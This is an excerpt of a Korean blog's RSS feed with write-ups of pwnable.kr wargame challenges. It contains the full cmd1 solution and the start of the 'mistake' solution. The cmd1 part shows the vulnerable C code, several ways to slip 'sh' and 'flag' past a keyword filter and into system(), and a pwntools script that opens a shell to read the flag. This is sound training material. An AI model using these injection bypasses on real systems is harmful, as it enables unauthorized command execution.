this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;984&quot; height=&quot;353&quot; data-origin-width=&quot;984&quot; data-origin-height=&quot;353&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style3&quot; /&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000; font-family: 'Nanum Gothic';&quot;&gt;안녕히계십쇼!! （〃｀ 3&amp;prime;〃）&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>War game/pwnable.kr</category>
      <category>bash 내장함수</category>
      <category>cmd2</category>
      <category>cmd2 풀이</category>
      <category>command -p</category>
      <category>environ</category>
      <category>linux 환경설정</category>
      <category>putenv와 setenv차이점</category>
      <category>pwn cmd2</category>
      <category>pwnable.kr cmd2</category>
      <category>set -s</category>
      <author>power-girl0-0</author>
      <guid isPermaLink="true">https://power-girl0-0.tistory.com/558</guid>
      <comments>https://power-girl0-0.tistory.com/558#entry558comment</comments>
      <pubDate>Mon, 21 Feb 2022 01:19:48 +0900</pubDate>
    </item>
    <item>
      <title>[pwnable] cmd1 풀이</title>
      <link>https://power-girl0-0.tistory.com/557</link>
      <description>&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic'; color: #000000;&quot;&gt;안녕하세욥 ^o^&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style3&quot; /&gt;
&lt;h3 style=&quot;text-align: left;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: 'Nanum Gothic'; color: #000000;&quot;&gt;1. 문제&lt;/span&gt;&lt;/b&gt;&lt;/h3&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic'; color: #000000;&quot;&gt;cmd1에 대한 c코드와 바이너리가 주어지고, flag파일이 존재한다.&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic'; color: #000000;&quot;&gt;아래는 cmd1의 c코드이다.&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1645370134138&quot; class=&quot;cs&quot; data-ke-language=&quot;cs&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;string.h&amp;gt;

int filter(char* cmd){
	int r=0;
	r += strstr(cmd, &quot;flag&quot;)!=0;
	r += strstr(cmd, &quot;sh&quot;)!=0;
	r += strstr(cmd, &quot;tmp&quot;)!=0;
	return r;
}
int main(int argc, char* argv[], char** envp){
	putenv(&quot;PATH=/thankyouverymuch&quot;);
	if(filter(argv[1])) return 0;
	system( argv[1] );
	return 0;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;text-align: left;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: 'Nanum Gothic'; color: #000000;&quot;&gt;2. 풀이&lt;/span&gt;&lt;/b&gt;&lt;/h3&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic'; color: #000000;&quot;&gt;코드를 확인해보면, 아래와 같은 조건을 확인할 수 있다.&lt;/span&gt;&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 100%;&quot;&gt;&lt;span&gt;&lt;span style=&quot;font-family: 'Nanum Gothic'; color: #000000;&quot;&gt;&amp;nbsp; ① 입력 값이 flag, sh, tmp은 사용하지 못하게 필터링하고 있다.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span&gt;&lt;span style=&quot;font-family: 'Nanum Gothic'; color: #000000;&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&amp;nbsp; ②&lt;/span&gt; 입력 값을 system함수에 넣어서 실행되고 있는 것을 확인할 수 있다.&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;즉, 우리는 입력값에 시스템 명령어를 넣어서 flag를 확인하는 문제인 것 같다.&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;단 필터링을 우회해서 말이다!&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;cmd1 바이너리 파일의 권한을 살펴보면, setgid의 권한이 존재하는 것을 알 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1203&quot; data-origin-height=&quot;371&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cq0uz6/btrtOyN9yq3/RUlhks2arT5kgkJPIsa4hk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cq0uz6/btrtOyN9yq3/RUlhks2arT5kgkJPIsa4hk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cq0uz6/btrtOyN9yq3/RUlhks2arT5kgkJPIsa4hk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fcq0uz6%2FbtrtOyN9yq3%2FRUlhks2arT5kgkJPIsa4hk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1203&quot; height=&quot;371&quot; data-origin-width=&quot;1203&quot; data-origin-height=&quot;371&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;여기까지 확인이 되었다면, 어떻게 풀어야할지 감을 잡을 수 있다.&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;sh를 우회해서 shell을 획득하거나, flag를 우회해서 flag파일을 읽으면 된다는 판단이 나온다.&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;우회하는 방법은 &quot;3.flag획득&quot;을 확인해보기 바란다.&lt;span style=&quot;font-family: 'Nanum Gothic'; color: #000000;&quot;&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;text-align: left;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: 'Nanum Gothic'; color: #000000;&quot;&gt;3. flag 획득&lt;/span&gt;&lt;/b&gt;&lt;/h3&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: 'Nanum Gothic'; color: #000000;&quot;&gt;① 방식1&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;echo 방식을 통해 s와 h를 따로 출력해서, sh를 만들어주는 방식이다.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1520&quot; data-origin-height=&quot;187&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/kHdj1/btrtRVWOzUQ/VkiAyffPwv6edoqKfrEjp0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/kHdj1/btrtRVWOzUQ/VkiAyffPwv6edoqKfrEjp0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/kHdj1/btrtRVWOzUQ/VkiAyffPwv6edoqKfrEjp0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FkHdj1%2FbtrtRVWOzUQ%2FVkiAyffPwv6edoqKfrEjp0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1520&quot; height=&quot;187&quot; data-origin-width=&quot;1520&quot; data-origin-height=&quot;187&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: 'Nanum Gothic'; color: #000000;&quot;&gt;② 방식2&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic'; color: #000000;&quot;&gt;?h는 두글자의 문자 중, 두번째 글자가 h인 것을 출력하라는 의미이다.&amp;nbsp; &lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic'; color: #000000;&quot;&gt;즉, sh가 추출되어 /bin/sh가 실행되는 것이다.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1593&quot; data-origin-height=&quot;194&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/0O1fg/btrtQoE0SOQ/q7GrXkS7MvhSvwAkPIhYmk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/0O1fg/btrtQoE0SOQ/q7GrXkS7MvhSvwAkPIhYmk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/0O1fg/btrtQoE0SOQ/q7GrXkS7MvhSvwAkPIhYmk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F0O1fg%2FbtrtQoE0SOQ%2Fq7GrXkS7MvhSvwAkPIhYmk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1593&quot; height=&quot;194&quot; data-origin-width=&quot;1593&quot; data-origin-height=&quot;194&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: 'Nanum Gothic'; color: #000000;&quot;&gt;③ 방식3&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic'; color: #000000;&quot;&gt;방식2와 같은 방법으로, flag파일을 바로 확인한다.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;874&quot; data-origin-height=&quot;75&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ztJCY/btrtVaeRgIQ/nEnIz3LE8kcdsFs2fSnFUK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ztJCY/btrtVaeRgIQ/nEnIz3LE8kcdsFs2fSnFUK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ztJCY/btrtVaeRgIQ/nEnIz3LE8kcdsFs2fSnFUK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FztJCY%2FbtrtVaeRgIQ%2FnEnIz3LE8kcdsFs2fSnFUK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;874&quot; height=&quot;75&quot; data-origin-width=&quot;874&quot; data-origin-height=&quot;75&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: 'Nanum Gothic'; color: #000000;&quot;&gt;④ 방식4&amp;nbsp;&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic'; color: #000000;&quot;&gt;/bin/sh를 base64방식으로 바꾼 뒤, 입력값으로 넣어줄 때 다시 base64 디코딩을 진행해준다.&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1577&quot; data-origin-height=&quot;276&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/LTmz0/btrtO7Kbqr4/Z7leK72L2VZy7hxTgQDIlk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/LTmz0/btrtO7Kbqr4/Z7leK72L2VZy7hxTgQDIlk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/LTmz0/btrtO7Kbqr4/Z7leK72L2VZy7hxTgQDIlk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FLTmz0%2FbtrtO7Kbqr4%2FZ7leK72L2VZy7hxTgQDIlk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1577&quot; height=&quot;276&quot; data-origin-width=&quot;1577&quot; data-origin-height=&quot;276&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: 'Nanum Gothic'; color: #000000;&quot;&gt;⑤ 방식5&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;[e-g]는 정규표현식이므로, e와 g사이의 f가 출력된다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1029&quot; data-origin-height=&quot;83&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bV2A29/btrtVpb0JQD/5Q1vknUph33ysJQWb8gf2k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bV2A29/btrtVpb0JQD/5Q1vknUph33ysJQWb8gf2k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bV2A29/btrtVpb0JQD/5Q1vknUph33ysJQWb8gf2k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbV2A29%2FbtrtVpb0JQD%2F5Q1vknUph33ysJQWb8gf2k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1029&quot; height=&quot;83&quot; data-origin-width=&quot;1029&quot; data-origin-height=&quot;83&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: 'Nanum Gothic'; color: #000000;&quot;&gt;⑥ 방식 6&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic'; color: #000000;&quot;&gt;$1은 아무 의미도 없기 때문에, 가능하다.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1752&quot; data-origin-height=&quot;218&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dhtRtt/btrtRWalOFE/3RWnSBZhjyIk1e3esookYK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dhtRtt/btrtRWalOFE/3RWnSBZhjyIk1e3esookYK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dhtRtt/btrtRWalOFE/3RWnSBZhjyIk1e3esookYK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdhtRtt%2FbtrtRWalOFE%2F3RWnSBZhjyIk1e3esookYK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1752&quot; height=&quot;218&quot; data-origin-width=&quot;1752&quot; data-origin-height=&quot;218&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;text-align: left;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: 'Nanum Gothic'; color: #000000;&quot;&gt;4. pwntool을 이용하여, flag 획득&lt;/span&gt;&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;&lt;span style=&quot;font-family: 'Nanum Gothic'; color: #000000;&quot;&gt;Code&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;pre id=&quot;code_1645373063156&quot; class=&quot;makefile&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;from pwn import *

p = ssh(&quot;cmd1&quot;,&quot;pwnable.kr&quot;,port=2222,password=&quot;guest&quot;)
file = b'./cmd1'
arg = '/bin/$(echo s)$(echo h)'

p1 = p.process([file, arg])
p1.send(&quot;/bin/cat flag&quot;)
p1.interactive()​&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;&lt;span style=&quot;font-family: 'Nanum Gothic'; color: #000000;&quot;&gt;실행결과&lt;/span&gt;&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1858&quot; data-origin-height=&quot;634&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/IFH8x/btrtIepTXw5/WTLi9n60poiVbBAoX9J0sK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/IFH8x/btrtIepTXw5/WTLi9n60poiVbBAoX9J0sK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/IFH8x/btrtIepTXw5/WTLi9n60poiVbBAoX9J0sK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FIFH8x%2FbtrtIepTXw5%2FWTLi9n60poiVbBAoX9J0sK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1858&quot; height=&quot;634&quot; data-origin-width=&quot;1858&quot; data-origin-height=&quot;634&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style3&quot; /&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic'; color: #000000;&quot;&gt;다양한 방식을 알고자, 여러 블로그를 참고하여 정리하였습니다.&lt;/span&gt;&lt;span style=&quot;font-family: 'Nanum Gothic'; color: #000000;&quot;&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic'; color: #000000;&quot;&gt;안녕히계세욥 ~ ^3^&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>War game/pwnable.kr</category>
      <category>cmd</category>
      <category>command injection</category>
      <category>flag 필터링</category>
      <category>pwn cmd1</category>
      <category>pwnable cmd1</category>
      <category>pwnable cmd1 풀이</category>
      <category>pwnable.kr cmd1</category>
      <category>sh 필터링</category>
      <category>sh 필터링 우회</category>
      <category>커맨드 인젝션</category>
      <author>power-girl0-0</author>
      <guid isPermaLink="true">https://power-girl0-0.tistory.com/557</guid>
      <comments>https://power-girl0-0.tistory.com/557#entry557comment</comments>
      <pubDate>Sun, 20 Feb 2022 19:27:40 +0900</pubDate>
    </item>
    <item>
      <title>[pwnable] mistake 풀이</title>
      <link>https://power-girl0-0.tistory.com/556</link>
      <description>&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;Hello~ 안녕하세요!&amp;nbsp; o(*&amp;deg;▽&amp;deg;*)o&lt;/span&gt;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style3&quot; /&gt;
&lt;h3 style=&quot;text-align: left;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;1. 문제&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;flag, mistake, password의 바이너라 파일이 존재하고, mistake에 대한 c코드가 주어진다.&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1644943321931&quot; class=&quot;cs&quot; data-ke-language=&quot;cs&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;fcntl.h&amp;gt;

#define PW_LEN 10
#define XORKEY 1

void xor(char* s, int len){
        int i;
        for(i=0; i&amp;lt;len; i++){
                s[i] ^= XORKEY;
        }
}

int main(int argc, char* argv[]){

        int fd;
        if(fd=open(&quot;/home/mistake/password&quot;,O_RDONLY,0400) &amp;lt; 0){
                printf(&quot;can't open password %d\n&quot;, fd);
                return 0;
        }

        printf(&quot;do not bruteforce...\n&quot;);
        sleep(time(0)%20);

        char pw_buf[PW_LEN+1];
        int len;
        if(!(len=read(fd,pw_buf,PW_LEN) &amp;gt; 0)){
                printf(&quot;read error\n&quot;);
                close(fd);
                return 0;
        }

        char pw_buf2[PW_LEN+1];
        printf(&quot;input password : &quot;);
        scanf(&quot;%10s&quot;, pw_buf2);

        // xor your input
        xor(pw_buf2, 10);

        if(!strncmp(pw_buf, pw_buf2, PW_LEN)){
                printf(&quot;Password OK\n&quot;);
                system(&quot;/bin/cat flag\n&quot;);
        }
        else{
                printf(&quot;Wrong Password\n&quot;);
        }

        close(fd);
        return 0;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;text-align: left;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;2. 풀이&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;위 코드를 살펴보면, 크게 3가지 조건이 존재하는 것을 알 수 있다.&lt;/span&gt;&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 100%;&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;① password파일을 open후, read함수를 통해 10byte값만큼 읽어, pw_buf에 저장한다.&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;② 10byte만큼 값을 입력받은 후, xor한다. 그 값은 pw_buf2배열에 존재한다.&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;③ pw_buf와 pw_buf2의 값이 같으면, flag값이 출력된다.&lt;br /&gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;하지만, 아래 코드를 자세히 살펴봐야한다.&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1644943812034&quot; class=&quot;cs&quot; data-ke-language=&quot;cs&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;if(fd=open(&quot;/home/mistake/password&quot;,O_RDONLY,0400) &amp;lt; 0){
             printf(&quot;can't open password %d\n&quot;, fd);
             return 0;
 }&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;if조건문에서 &lt;b&gt;&lt;span style=&quot;background-color: #f6e199;&quot;&gt;연산자 우선순위&lt;/span&gt;&lt;/b&gt;에 의해, =보다 &amp;lt;가 먼저 실행된다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;즉, open함수에 대한 return값과 0을 비교해서 나온 결과값 false가 fd에 들어가게 되는 것이다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
